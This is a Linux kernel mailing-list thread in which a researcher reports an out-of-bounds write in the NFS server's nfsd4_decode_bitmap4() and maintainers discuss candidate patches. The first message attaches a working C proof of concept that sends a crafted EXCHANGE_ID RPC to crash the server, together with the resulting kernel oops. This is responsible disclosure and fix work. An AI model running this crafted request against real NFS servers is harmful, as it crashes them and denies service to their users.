All of lore.kernel.org
 help / color / mirror / Atom feed
* NFS client can crash server due to overrun in nfsd4_decode_bitmap4()
@ 2021-11-13 20:58 rtm
  2021-11-13 21:06 ` Chuck Lever III
  2021-11-13 21:33 ` J. Bruce Fields
  0 siblings, 2 replies; 10+ messages in thread
From: rtm @ 2021-11-13 20:58 UTC (permalink / raw)
  To: J. Bruce Fields, Chuck Lever; +Cc: linux-nfs

[-- Attachment #1: Type: text/plain, Size: 1644 bytes --]

nfsd4_decode_bitmap4() will write beyond bmval[bmlen-1] if the RPC
directs it to do so. This can cause nfsd4_decode_state_protect4_a() to
write client-supplied data beyond the end of
nfsd4_exchange_id.spo_must_allow[] when called by
nfsd4_decode_exchange_id().

I've attached a demo in which the client's EXCHANGE_ID RPC supplies an
address (0x400) that nfsd4_decode_bitmap4() writes into
nii_domain.data due to overflowing bmval[]. The EXCHANGE_ID RPC also
supplies a zero-length eia_client_impl_id<>. The result is that
copy_impl_id() (called by nfsd4_exchange_id()) tries to read from
address 0x400.

# cc nfsd_1.c
# uname -a
Linux (none) 5.15.0-rc7-dirty #64 SMP Sat Nov 13 20:10:21 UTC 2021 riscv64 riscv64 riscv64 GNU/Linux
# ./nfsd_1
...
[   16.600786] Unable to handle kernel NULL pointer dereference at virtual address 0000000000000400
[   16.643621] epc : __memcpy+0x3c/0xf8
[   16.650154]  ra : kmemdup+0x2c/0x3c
[   16.657733] epc : ffffffff803667bc ra : ffffffff800e80fe sp : ffffffd000553c20
[   16.777502] status: 0000000200000121 badaddr: 0000000000000400 cause: 000000000000000d
[   16.788193] [<ffffffff803667bc>] __memcpy+0x3c/0xf8
[   16.796504] [<ffffffff8028cf0e>] nfsd4_exchange_id+0xe6/0x406
[   16.806159] [<ffffffff8027c352>] nfsd4_proc_compound+0x2b4/0x4e8
[   16.815721] [<ffffffff80266782>] nfsd_dispatch+0x118/0x172
[   16.823405] [<ffffffff807633fa>] svc_process_common+0x2de/0x62c
[   16.832935] [<ffffffff8076380c>] svc_process+0xc4/0x102
[   16.840421] [<ffffffff802661de>] nfsd+0x102/0x16a
[   16.848520] [<ffffffff80025b60>] kthread+0xfe/0x110
[   16.856648] [<ffffffff80003054>] ret_from_exception+0x0/0xc


[-- Attachment #2: nfsd_1.c --]
[-- Type: application/octet-stream, Size: 4507 bytes --]

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <netinet/in.h>
#include <sys/wait.h>
#include <sys/resource.h>
#include <arpa/inet.h>
#include <assert.h>

#define NAA 128
unsigned long long aa[NAA] = {
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x100000000000000ull,
0xd00000001000000ull,
0x0ull,
0x0ull,
0xf2616e62ull,
0x40000ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
};
int aai = 0;

char obuf[4096];
int oi = 0;

int s; // socket fd
int xid = 1;

void
put32(unsigned int x)
{
  assert((oi % 4) == 0);
  *(int*)(obuf+oi) = htonl(x);
  oi += 4;
}

void
put64(unsigned long long x)
{
  put32(x >> 32);
  put32(x);
}

void
put_opaque(int n, char *buf)
{
  put32(n);
  for(int i = 0; i < n; i++)
    obuf[oi++] = (buf ? buf[i] : 0);
  while((n%4)!=0){
    obuf[oi++] = 0;
    n++;
  }
}

void
put_sid(char *sid)
{
  for(int i = 0; i < 16; i++){
    obuf[oi++] = (sid ? sid[i] : 0);
  }
}

void
put_reset()
{
  oi = 4; // leave room for packet length
}

void
send_send()
{
  assert(oi >= 4);
  assert((oi % 4) == 0);
  assert(oi <= sizeof(obuf));
  assert(aai <= NAA);
  *(int*)(obuf+0) = htonl((oi - 4) | 0x80000000);
  printf("writing %d\n", oi);
  if(write(s, obuf, oi) <= 0) perror("write");
  oi = 0;
}

void
put_rpc_header(int proc)
{
  put_reset();
  put32(xid++);
  put32(0); // mtype=CALL
  put32(2); // rpc version
  put32(100003); // prog #
  put32(4); // prog vers
  put32(proc); // proc
  if(proc == 0){
    put32(0); // cred type
    put32(0); // cred len
  } else {
    put32(1); // cred type AUTH_SYS / AUTH_UNIX
    put32(28); // cred length
    put32(0); // stamp
    put_opaque(9, "localhost");
    put32(65534); // uid
    put32(65534); // gid
    put32(0); // # gids
  }
  put32(0); // verf type
  put32(0); // verf len
}

void
send_nop()
{
  put_rpc_header(0);
  send_send();
}

void
send_exchange_id()
{
  put_rpc_header(1);

  // compound header
  put_opaque(0, ""); // tag
  put32(2); // minor version
  put32(1); // 1 operation in the compound

  int xoi = oi;
  put32(42); // operation 42: EXCHANGE_ID
  put64(1); // verifier4
  put_opaque(22, "Linux NFSv4.2 poobuntu"); // co_ownerid
  put32(0x103);  // flags
  put32(0); // SP4_NONE
  put32(1); // length of client_impl_id
  put_opaque(10, "kernel.org"); // nii_domain
  put_opaque(4, "blah"); // nii_name
  put64(0); // nfstime4
  put32(0); // nfstime4

  for(int i = xoi; i < oi; i += 8)
    *(long long *)(obuf+i) ^= aa[aai++];

  send_send();
}

int
main(){
  setlinebuf(stdout);
  struct rlimit r;
  r.rlim_cur = r.rlim_max = 0;
  setrlimit(RLIMIT_CORE, &r);

  system("exportfs -a");
  system("/etc/init.d/rpcbind start");
  system("/usr/sbin/rpc.nfsd --lease-time 10 --grace-time 10 1");
  sleep(1);
  system("/usr/sbin/rpc.mountd --manage-gids");
  sleep(1);
  system("exportfs -a");
  //system("exportfs -v");
  //system("rpcdebug -m nfsd -s all");
  //system("rpcdebug -m rpc -s all");

  s = socket(AF_INET, SOCK_STREAM, 0);
  struct sockaddr_in sin;
  memset(&sin, 0, sizeof(sin));
  sin.sin_family = AF_INET;
  sin.sin_addr.s_addr = inet_addr("127.0.0.1");
  sin.sin_port = htons(801);
  if(bind(s, (struct sockaddr *)&sin, sizeof(sin)) < 0){
    perror("bind");
    exit(1);
  }

  sin.sin_port = htons(2049);


  if(connect(s, (struct sockaddr *)&sin, sizeof(sin)) < 0) {
    perror("connect");
    exit(1);
  }

  send_nop();
  {
    printf("waiting for nop reply\n");
    char ibuf[2048];
    int cc = read(s, ibuf, sizeof(ibuf));
    printf("read %d\n", cc);
  }

  send_exchange_id();

  sleep(2);

  
  close(s);
  sleep(1);

}

^ permalink raw reply	[flat|nested] 10+ messages in thread

* Re: NFS client can crash server due to overrun in nfsd4_decode_bitmap4()
  2021-11-13 20:58 NFS client can crash server due to overrun in nfsd4_decode_bitmap4() rtm
@ 2021-11-13 21:06 ` Chuck Lever III
  2021-11-13 21:25   ` Bruce Fields
  2021-11-13 21:33 ` J. Bruce Fields
  1 sibling, 1 reply; 10+ messages in thread
From: Chuck Lever III @ 2021-11-13 21:06 UTC (permalink / raw)
  To: rtm; +Cc: Bruce Fields, Linux NFS Mailing List


> On Nov 13, 2021, at 3:58 PM, rtm@csail.mit.edu wrote:
> 
> nfsd4_decode_bitmap4() will write beyond bmval[bmlen-1] if the RPC
> directs it to do so. This can cause nfsd4_decode_state_protect4_a() to
> write client-supplied data beyond the end of
> nfsd4_exchange_id.spo_must_allow[] when called by
> nfsd4_decode_exchange_id().

Thanks, I'll look into addressing this for v5.16-rc.

By the way, can you tell if this exposure was in the code
before 2548aa784d76 ("NFSD: Add a separate decoder to handle
state_protect_ops") ? (ie, do we need a separate fix for
this for pre-5.11 NFSD -- I'm guessing no).

Is the current implementation of nfsd4_decode_bitmap() a
problem for its other consumers?


> I've attached a demo in which the client's EXCHANGE_ID RPC supplies an
> address (0x400) that nfsd4_decode_bitmap4() writes into
> nii_domain.data due to overflowing bmval[]. The EXCHANGE_ID RPC also
> supplies a zero-length eia_client_impl_id<>. The result is that
> copy_impl_id() (called by nfsd4_exchange_id()) tries to read from
> address 0x400.
> 
> # cc nfsd_1.c
> # uname -a
> Linux (none) 5.15.0-rc7-dirty #64 SMP Sat Nov 13 20:10:21 UTC 2021 riscv64 riscv64 riscv64 GNU/Linux
> # ./nfsd_1
> ...
> [   16.600786] Unable to handle kernel NULL pointer dereference at virtual address 0000000000000400
> [   16.643621] epc : __memcpy+0x3c/0xf8
> [   16.650154]  ra : kmemdup+0x2c/0x3c
> [   16.657733] epc : ffffffff803667bc ra : ffffffff800e80fe sp : ffffffd000553c20
> [   16.777502] status: 0000000200000121 badaddr: 0000000000000400 cause: 000000000000000d
> [   16.788193] [<ffffffff803667bc>] __memcpy+0x3c/0xf8
> [   16.796504] [<ffffffff8028cf0e>] nfsd4_exchange_id+0xe6/0x406
> [   16.806159] [<ffffffff8027c352>] nfsd4_proc_compound+0x2b4/0x4e8
> [   16.815721] [<ffffffff80266782>] nfsd_dispatch+0x118/0x172
> [   16.823405] [<ffffffff807633fa>] svc_process_common+0x2de/0x62c
> [   16.832935] [<ffffffff8076380c>] svc_process+0xc4/0x102
> [   16.840421] [<ffffffff802661de>] nfsd+0x102/0x16a
> [   16.848520] [<ffffffff80025b60>] kthread+0xfe/0x110
> [   16.856648] [<ffffffff80003054>] ret_from_exception+0x0/0xc
> 
> <nfsd_1.c>

--
Chuck Lever




^ permalink raw reply	[flat|nested] 10+ messages in thread

* Re: NFS client can crash server due to overrun in nfsd4_decode_bitmap4()
  2021-11-13 21:06 ` Chuck Lever III
@ 2021-11-13 21:25   ` Bruce Fields
  2021-11-13 21:31     ` Chuck Lever III
  0 siblings, 1 reply; 10+ messages in thread
From: Bruce Fields @ 2021-11-13 21:25 UTC (permalink / raw)
  To: Chuck Lever III; +Cc: rtm, Linux NFS Mailing List

On Sat, Nov 13, 2021 at 09:06:03PM +0000, Chuck Lever III wrote:
> 
> > On Nov 13, 2021, at 3:58 PM, rtm@csail.mit.edu wrote:
> > 
> > nfsd4_decode_bitmap4() will write beyond bmval[bmlen-1] if the RPC
> > directs it to do so. This can cause nfsd4_decode_state_protect4_a() to
> > write client-supplied data beyond the end of
> > nfsd4_exchange_id.spo_must_allow[] when called by
> > nfsd4_decode_exchange_id().
> 
> Thanks, I'll look into addressing this for v5.16-rc.
> 
> By the way, can you tell if this exposure was in the code
> before 2548aa784d76 ("NFSD: Add a separate decoder to handle
> state_protect_ops") ? (ie, do we need a separate fix for
> this for pre-5.11 NFSD -- I'm guessing no).

It may not have been an EXCHANGE_ID problem, but:

> Is the current implementation of nfsd4_decode_bitmap() a
> problem for its other consumers?

Yeah, I don't see that there's anything a caller could do that would
prevent it, so the problem starts with the introduction of
nfsd4_decode_bitmap4.

Not actually tested, but I suppose we want the following.

--b.

commit 8211c4817cc0
Author: J. Bruce Fields <bfields@redhat.com>
Date:   Sat Nov 13 16:11:58 2021 -0500

    nfsd: fix overrun in nfsd4_decode_bitmap4
    
    rtm says: "nfsd4_decode_bitmap4() will write beyond bmval[bmlen-1] if
    the RPC directs it to do so. This can cause
    nfsd4_decode_state_protect4_a() to write client-supplied data beyond the
    end of nfsd4_exchange_id.spo_must_allow[] when called by
    nfsd4_decode_exchange_id()."
    
    Reported-by: <rtm@csail.mit.edu>
    Cc: stable@vger.kernel.org
    Fixes: d1c263a031e8 "NFSD: Replace READ* macros in nfsd4_decode_fattr()"
    Signed-off-by: J. Bruce Fields <bfields@redhat.com>

diff --git a/fs/nfsd/nfs4xdr.c b/fs/nfsd/nfs4xdr.c
index 9b609aac47e1..7aa97c09b5a9 100644
--- a/fs/nfsd/nfs4xdr.c
+++ b/fs/nfsd/nfs4xdr.c
@@ -282,8 +282,7 @@ nfsd4_decode_bitmap4(struct nfsd4_compoundargs *argp, u32 *bmval, u32 bmlen)
 
 	if (xdr_stream_decode_u32(argp->xdr, &count) < 0)
 		return nfserr_bad_xdr;
-	/* request sanity */
-	if (count > 1000)
+	if (count > bmlen)
 		return nfserr_bad_xdr;
 	p = xdr_inline_decode(argp->xdr, count << 2);
 	if (!p)

^ permalink raw reply related	[flat|nested] 10+ messages in thread

* Re: NFS client can crash server due to overrun in nfsd4_decode_bitmap4()
  2021-11-13 21:25   ` Bruce Fields
@ 2021-11-13 21:31     ` Chuck Lever III
  2021-11-13 21:57       ` Bruce Fields
  2021-12-13  2:10       ` Bruce Fields
  0 siblings, 2 replies; 10+ messages in thread
From: Chuck Lever III @ 2021-11-13 21:31 UTC (permalink / raw)
  To: Bruce Fields; +Cc: rtm, Linux NFS Mailing List



> On Nov 13, 2021, at 4:25 PM, Bruce Fields <bfields@fieldses.org> wrote:
> 
> On Sat, Nov 13, 2021 at 09:06:03PM +0000, Chuck Lever III wrote:
>> 
>>> On Nov 13, 2021, at 3:58 PM, rtm@csail.mit.edu wrote:
>>> 
>>> nfsd4_decode_bitmap4() will write beyond bmval[bmlen-1] if the RPC
>>> directs it to do so. This can cause nfsd4_decode_state_protect4_a() to
>>> write client-supplied data beyond the end of
>>> nfsd4_exchange_id.spo_must_allow[] when called by
>>> nfsd4_decode_exchange_id().
>> 
>> Thanks, I'll look into addressing this for v5.16-rc.
>> 
>> By the way, can you tell if this exposure was in the code
>> before 2548aa784d76 ("NFSD: Add a separate decoder to handle
>> state_protect_ops") ? (ie, do we need a separate fix for
>> this for pre-5.11 NFSD -- I'm guessing no).
> 
> It may not have been an EXCHANGE_ID problem, but:
> 
>> Is the current implementation of nfsd4_decode_bitmap() a
>> problem for its other consumers?
> 
> Yeah, I don't see that there's anything a caller could do that would
> prevent it, so the problem starts with the introduction of
> nfsd4_decode_bitmap4.
> 
> Not actually tested, but I suppose we want the following.
> 
> --b.
> 
> commit 8211c4817cc0
> Author: J. Bruce Fields <bfields@redhat.com>
> Date:   Sat Nov 13 16:11:58 2021 -0500
> 
>    nfsd: fix overrun in nfsd4_decode_bitmap4
> 
>    rtm says: "nfsd4_decode_bitmap4() will write beyond bmval[bmlen-1] if
>    the RPC directs it to do so. This can cause
>    nfsd4_decode_state_protect4_a() to write client-supplied data beyond the
>    end of nfsd4_exchange_id.spo_must_allow[] when called by
>    nfsd4_decode_exchange_id()."
> 
>    Reported-by: <rtm@csail.mit.edu>
>    Cc: stable@vger.kernel.org
>    Fixes: d1c263a031e8 "NFSD: Replace READ* macros in nfsd4_decode_fattr()"
>    Signed-off-by: J. Bruce Fields <bfields@redhat.com>
> 
> diff --git a/fs/nfsd/nfs4xdr.c b/fs/nfsd/nfs4xdr.c
> index 9b609aac47e1..7aa97c09b5a9 100644
> --- a/fs/nfsd/nfs4xdr.c
> +++ b/fs/nfsd/nfs4xdr.c
> @@ -282,8 +282,7 @@ nfsd4_decode_bitmap4(struct nfsd4_compoundargs *argp, u32 *bmval, u32 bmlen)
> 
> 	if (xdr_stream_decode_u32(argp->xdr, &count) < 0)
> 		return nfserr_bad_xdr;
> -	/* request sanity */
> -	if (count > 1000)
> +	if (count > bmlen)

Sure, but that's more restrictive than what the old decoder
did. I have this instead (also yet to be tested):

    NFSD: Fix exposure in nfsd4_decode_bitmap()
    
    rtm@csail.mit.edu reports:
    > nfsd4_decode_bitmap4() will write beyond bmval[bmlen-1] if the RPC
    > directs it to do so. This can cause nfsd4_decode_state_protect4_a()
    > to write client-supplied data beyond the end of
    > nfsd4_exchange_id.spo_must_allow[] when called by
    > nfsd4_decode_exchange_id().
    
    Rewrite the loops so nfsd4_decode_bitmap() cannot iterate beyond
    @bmlen.
    
    Reported by: <rtm@csail.mit.edu>
    Fixes: d1c263a031e8 ("NFSD: Replace READ* macros in nfsd4_decode_fattr()")
    Signed-off-by: Chuck Lever <chuck.lever@oracle.com>

diff --git a/fs/nfsd/nfs4xdr.c b/fs/nfsd/nfs4xdr.c
index 10883e6d80ac..c2f753233fcf 100644
--- a/fs/nfsd/nfs4xdr.c
+++ b/fs/nfsd/nfs4xdr.c
@@ -288,12 +288,8 @@ nfsd4_decode_bitmap4(struct nfsd4_compoundargs *argp, u32 *bmval, u32 bmlen)
        p = xdr_inline_decode(argp->xdr, count << 2);
        if (!p)
                return nfserr_bad_xdr;
-       i = 0;
-       while (i < count)
-               bmval[i++] = be32_to_cpup(p++);
-       while (i < bmlen)
-               bmval[i++] = 0;
-
+       for (i = 0; i < bmlen; i++)
+               bmval[i] = (i < count) ? be32_to_cpup(p++) : 0;
        return nfs_ok;
 }

This allows the client to send bitmaps larger than bmval[],
as the old decoder did, and ensures that decode_bitmap()
cannot write farther than @bmlen into the bmval array.


> 		return nfserr_bad_xdr;
> 	p = xdr_inline_decode(argp->xdr, count << 2);
> 	if (!p)

--
Chuck Lever




^ permalink raw reply related	[flat|nested] 10+ messages in thread

* Re: NFS client can crash server due to overrun in nfsd4_decode_bitmap4()
  2021-11-13 20:58 NFS client can crash server due to overrun in nfsd4_decode_bitmap4() rtm
  2021-11-13 21:06 ` Chuck Lever III
@ 2021-11-13 21:33 ` J. Bruce Fields
  1 sibling, 0 replies; 10+ messages in thread
From: J. Bruce Fields @ 2021-11-13 21:33 UTC (permalink / raw)
  To: rtm; +Cc: Chuck Lever, linux-nfs

By the way, thanks for this work.  Just out of curiosity: did anything
in particular prompt this?  And do you have some tool that's finding
these, or is it manual code inspection, or some combination?

--b.

On Sat, Nov 13, 2021 at 03:58:42PM -0500, rtm@csail.mit.edu wrote:
> nfsd4_decode_bitmap4() will write beyond bmval[bmlen-1] if the RPC
> directs it to do so. This can cause nfsd4_decode_state_protect4_a() to
> write client-supplied data beyond the end of
> nfsd4_exchange_id.spo_must_allow[] when called by
> nfsd4_decode_exchange_id().
> 
> I've attached a demo in which the client's EXCHANGE_ID RPC supplies an
> address (0x400) that nfsd4_decode_bitmap4() writes into
> nii_domain.data due to overflowing bmval[]. The EXCHANGE_ID RPC also
> supplies a zero-length eia_client_impl_id<>. The result is that
> copy_impl_id() (called by nfsd4_exchange_id()) tries to read from
> address 0x400.
> 
> # cc nfsd_1.c
> # uname -a
> Linux (none) 5.15.0-rc7-dirty #64 SMP Sat Nov 13 20:10:21 UTC 2021 riscv64 riscv64 riscv64 GNU/Linux
> # ./nfsd_1
> ...
> [   16.600786] Unable to handle kernel NULL pointer dereference at virtual address 0000000000000400
> [   16.643621] epc : __memcpy+0x3c/0xf8
> [   16.650154]  ra : kmemdup+0x2c/0x3c
> [   16.657733] epc : ffffffff803667bc ra : ffffffff800e80fe sp : ffffffd000553c20
> [   16.777502] status: 0000000200000121 badaddr: 0000000000000400 cause: 000000000000000d
> [   16.788193] [<ffffffff803667bc>] __memcpy+0x3c/0xf8
> [   16.796504] [<ffffffff8028cf0e>] nfsd4_exchange_id+0xe6/0x406
> [   16.806159] [<ffffffff8027c352>] nfsd4_proc_compound+0x2b4/0x4e8
> [   16.815721] [<ffffffff80266782>] nfsd_dispatch+0x118/0x172
> [   16.823405] [<ffffffff807633fa>] svc_process_common+0x2de/0x62c
> [   16.832935] [<ffffffff8076380c>] svc_process+0xc4/0x102
> [   16.840421] [<ffffffff802661de>] nfsd+0x102/0x16a
> [   16.848520] [<ffffffff80025b60>] kthread+0xfe/0x110
> [   16.856648] [<ffffffff80003054>] ret_from_exception+0x0/0xc
> 



^ permalink raw reply	[flat|nested] 10+ messages in thread

* Re: NFS client can crash server due to overrun in nfsd4_decode_bitmap4()
  2021-11-13 21:31     ` Chuck Lever III
@ 2021-11-13 21:57       ` Bruce Fields
  2021-11-14  2:44         ` Chuck Lever III
  2021-12-13  2:10       ` Bruce Fields
  1 sibling, 1 reply; 10+ messages in thread
From: Bruce Fields @ 2021-11-13 21:57 UTC (permalink / raw)
  To: Chuck Lever III; +Cc: rtm, Linux NFS Mailing List

On Sat, Nov 13, 2021 at 09:31:40PM +0000, Chuck Lever III wrote:
> This allows the client to send bitmaps larger than bmval[],
> as the old decoder did,

Oh, thanks, right, I guess rejecting too-large bitmaps outright might
cause compatibility problems with future implementations.

(Hm, ideally, shouldn't we be checking whether bits are set beyond where
we expect so that e.g. we can return NFS4ERR_ATTRNOTSUPP on operations
that set attributes?  Perhaps that's more than is necessary; it's a
separate issue, anyway.)

--b.

> and ensures that decode_bitmap()
> cannot write farther than @bmlen into the bmval array.
> 
> 
> > 		return nfserr_bad_xdr;
> > 	p = xdr_inline_decode(argp->xdr, count << 2);
> > 	if (!p)
> 
> --
> Chuck Lever
> 
> 

^ permalink raw reply	[flat|nested] 10+ messages in thread

* Re: NFS client can crash server due to overrun in nfsd4_decode_bitmap4()
  2021-11-13 21:57       ` Bruce Fields
@ 2021-11-14  2:44         ` Chuck Lever III
  0 siblings, 0 replies; 10+ messages in thread
From: Chuck Lever III @ 2021-11-14  2:44 UTC (permalink / raw)
  To: Bruce Fields; +Cc: rtm, Linux NFS Mailing List



> On Nov 13, 2021, at 4:57 PM, Bruce Fields <bfields@fieldses.org> wrote:
> 
> On Sat, Nov 13, 2021 at 09:31:40PM +0000, Chuck Lever III wrote:
>> This allows the client to send bitmaps larger than bmval[],
>> as the old decoder did,
> 
> Oh, thanks, right, I guess rejecting too-large bitmaps outright might
> cause compatibility problems with future implementations.
> 
> (Hm, ideally, shouldn't we be checking whether bits are set beyond where
> we expect so that e.g. we can return NFS4ERR_ATTRNOTSUPP on operations
> that set attributes?  Perhaps that's more than is necessary; it's a
> separate issue, anyway.)

The spec might call for those bits to be ignored. The server would
simply not set those in the response. I believe that's how unsupported
bits are handled anyway, rather than returning an error response.

Also note that the "count > 1000" sanity check might be unneeded. If
the count is unrealistically large, it will cause the subsequent
xdr_inline_decode() to fail. I could send a separate patch to remove
that check if you agree.


>> and ensures that decode_bitmap()
>> cannot write farther than @bmlen into the bmval array.
>> 
>> 
>>> 		return nfserr_bad_xdr;
>>> 	p = xdr_inline_decode(argp->xdr, count << 2);
>>> 	if (!p)
>> 
>> --
>> Chuck Lever

--
Chuck Lever




^ permalink raw reply	[flat|nested] 10+ messages in thread

* Re: NFS client can crash server due to overrun in nfsd4_decode_bitmap4()
  2021-11-13 21:31     ` Chuck Lever III
  2021-11-13 21:57       ` Bruce Fields
@ 2021-12-13  2:10       ` Bruce Fields
  2021-12-13  4:21         ` Chuck Lever III
  1 sibling, 1 reply; 10+ messages in thread
From: Bruce Fields @ 2021-12-13  2:10 UTC (permalink / raw)
  To: Chuck Lever III; +Cc: rtm, Linux NFS Mailing List

On Sat, Nov 13, 2021 at 09:31:40PM +0000, Chuck Lever III wrote:
> Sure, but that's more restrictive than what the old decoder
> did. I have this instead (also yet to be tested):
> 
>     NFSD: Fix exposure in nfsd4_decode_bitmap()
>     
>     rtm@csail.mit.edu reports:
>     > nfsd4_decode_bitmap4() will write beyond bmval[bmlen-1] if the RPC
>     > directs it to do so. This can cause nfsd4_decode_state_protect4_a()
>     > to write client-supplied data beyond the end of
>     > nfsd4_exchange_id.spo_must_allow[] when called by
>     > nfsd4_decode_exchange_id().
>     
>     Rewrite the loops so nfsd4_decode_bitmap() cannot iterate beyond
>     @bmlen.
>     
>     Reported by: <rtm@csail.mit.edu>
>     Fixes: d1c263a031e8 ("NFSD: Replace READ* macros in nfsd4_decode_fattr()")
>     Signed-off-by: Chuck Lever <chuck.lever@oracle.com>
> 
> diff --git a/fs/nfsd/nfs4xdr.c b/fs/nfsd/nfs4xdr.c
> index 10883e6d80ac..c2f753233fcf 100644
> --- a/fs/nfsd/nfs4xdr.c
> +++ b/fs/nfsd/nfs4xdr.c
> @@ -288,12 +288,8 @@ nfsd4_decode_bitmap4(struct nfsd4_compoundargs *argp, u32 *bmval, u32 bmlen)
>         p = xdr_inline_decode(argp->xdr, count << 2);
>         if (!p)
>                 return nfserr_bad_xdr;
> -       i = 0;
> -       while (i < count)
> -               bmval[i++] = be32_to_cpup(p++);
> -       while (i < bmlen)
> -               bmval[i++] = 0;
> -
> +       for (i = 0; i < bmlen; i++)
> +               bmval[i] = (i < count) ? be32_to_cpup(p++) : 0;
>         return nfs_ok;
>  }
> 
> This allows the client to send bitmaps larger than bmval[],
> as the old decoder did, and ensures that decode_bitmap()
> cannot write farther than @bmlen into the bmval array.

But I notice now that your tree has "NFSD: Replace
nfsd4_decode_bitmap4()", which does error out on large bitmaps.
(Noticed because pynfs checks for this case (see GATT4s and similar) and
is seeing BADXDR returns).

--b.

^ permalink raw reply	[flat|nested] 10+ messages in thread

* Re: NFS client can crash server due to overrun in nfsd4_decode_bitmap4()
  2021-12-13  2:10       ` Bruce Fields
@ 2021-12-13  4:21         ` Chuck Lever III
  2021-12-13  4:52           ` Trond Myklebust
  0 siblings, 1 reply; 10+ messages in thread
From: Chuck Lever III @ 2021-12-13  4:21 UTC (permalink / raw)
  To: Bruce Fields; +Cc: rtm, Linux NFS Mailing List


> On Dec 12, 2021, at 9:10 PM, Bruce Fields <bfields@fieldses.org> wrote:
> 
> On Sat, Nov 13, 2021 at 09:31:40PM +0000, Chuck Lever III wrote:
>> Sure, but that's more restrictive than what the old decoder
>> did. I have this instead (also yet to be tested):
>> 
>>    NFSD: Fix exposure in nfsd4_decode_bitmap()
>> 
>>    rtm@csail.mit.edu reports:
>>> nfsd4_decode_bitmap4() will write beyond bmval[bmlen-1] if the RPC
>>> directs it to do so. This can cause nfsd4_decode_state_protect4_a()
>>> to write client-supplied data beyond the end of
>>> nfsd4_exchange_id.spo_must_allow[] when called by
>>> nfsd4_decode_exchange_id().
>> 
>>    Rewrite the loops so nfsd4_decode_bitmap() cannot iterate beyond
>>    @bmlen.
>> 
>>    Reported by: <rtm@csail.mit.edu>
>>    Fixes: d1c263a031e8 ("NFSD: Replace READ* macros in nfsd4_decode_fattr()")
>>    Signed-off-by: Chuck Lever <chuck.lever@oracle.com>
>> 
>> diff --git a/fs/nfsd/nfs4xdr.c b/fs/nfsd/nfs4xdr.c
>> index 10883e6d80ac..c2f753233fcf 100644
>> --- a/fs/nfsd/nfs4xdr.c
>> +++ b/fs/nfsd/nfs4xdr.c
>> @@ -288,12 +288,8 @@ nfsd4_decode_bitmap4(struct nfsd4_compoundargs *argp, u32 *bmval, u32 bmlen)
>>        p = xdr_inline_decode(argp->xdr, count << 2);
>>        if (!p)
>>                return nfserr_bad_xdr;
>> -       i = 0;
>> -       while (i < count)
>> -               bmval[i++] = be32_to_cpup(p++);
>> -       while (i < bmlen)
>> -               bmval[i++] = 0;
>> -
>> +       for (i = 0; i < bmlen; i++)
>> +               bmval[i] = (i < count) ? be32_to_cpup(p++) : 0;
>>        return nfs_ok;
>> }
>> 
>> This allows the client to send bitmaps larger than bmval[],
>> as the old decoder did, and ensures that decode_bitmap()
>> cannot write farther than @bmlen into the bmval array.
> 
> But I notice now that your tree has "NFSD: Replace
> nfsd4_decode_bitmap4()", which does error out on large bitmaps.
> (Noticed because pynfs checks for this case (see GATT4s and similar) and
> is seeing BADXDR returns).

D’oh! I can drop “Replace nfsd4_decode_bitmap4()” or we can update the generic helper to handle large bitmaps. Dropping the clean-up seems safer.



^ permalink raw reply	[flat|nested] 10+ messages in thread

* Re: NFS client can crash server due to overrun in nfsd4_decode_bitmap4()
  2021-12-13  4:21         ` Chuck Lever III
@ 2021-12-13  4:52           ` Trond Myklebust
  0 siblings, 0 replies; 10+ messages in thread
From: Trond Myklebust @ 2021-12-13  4:52 UTC (permalink / raw)
  To: bfields, chuck.lever; +Cc: linux-nfs, rtm

On Mon, 2021-12-13 at 04:21 +0000, Chuck Lever III wrote:
> 
> > On Dec 12, 2021, at 9:10 PM, Bruce Fields <bfields@fieldses.org>
> > wrote:
> > 
> > On Sat, Nov 13, 2021 at 09:31:40PM +0000, Chuck Lever III wrote:
> > > Sure, but that's more restrictive than what the old decoder
> > > did. I have this instead (also yet to be tested):
> > > 
> > >    NFSD: Fix exposure in nfsd4_decode_bitmap()
> > > 
> > >    rtm@csail.mit.edu reports:
> > > > nfsd4_decode_bitmap4() will write beyond bmval[bmlen-1] if the
> > > > RPC
> > > > directs it to do so. This can cause
> > > > nfsd4_decode_state_protect4_a()
> > > > to write client-supplied data beyond the end of
> > > > nfsd4_exchange_id.spo_must_allow[] when called by
> > > > nfsd4_decode_exchange_id().
> > > 
> > >    Rewrite the loops so nfsd4_decode_bitmap() cannot iterate
> > > beyond
> > >    @bmlen.
> > > 
> > >    Reported by: <rtm@csail.mit.edu>
> > >    Fixes: d1c263a031e8 ("NFSD: Replace READ* macros in
> > > nfsd4_decode_fattr()")
> > >    Signed-off-by: Chuck Lever <chuck.lever@oracle.com>
> > > 
> > > diff --git a/fs/nfsd/nfs4xdr.c b/fs/nfsd/nfs4xdr.c
> > > index 10883e6d80ac..c2f753233fcf 100644
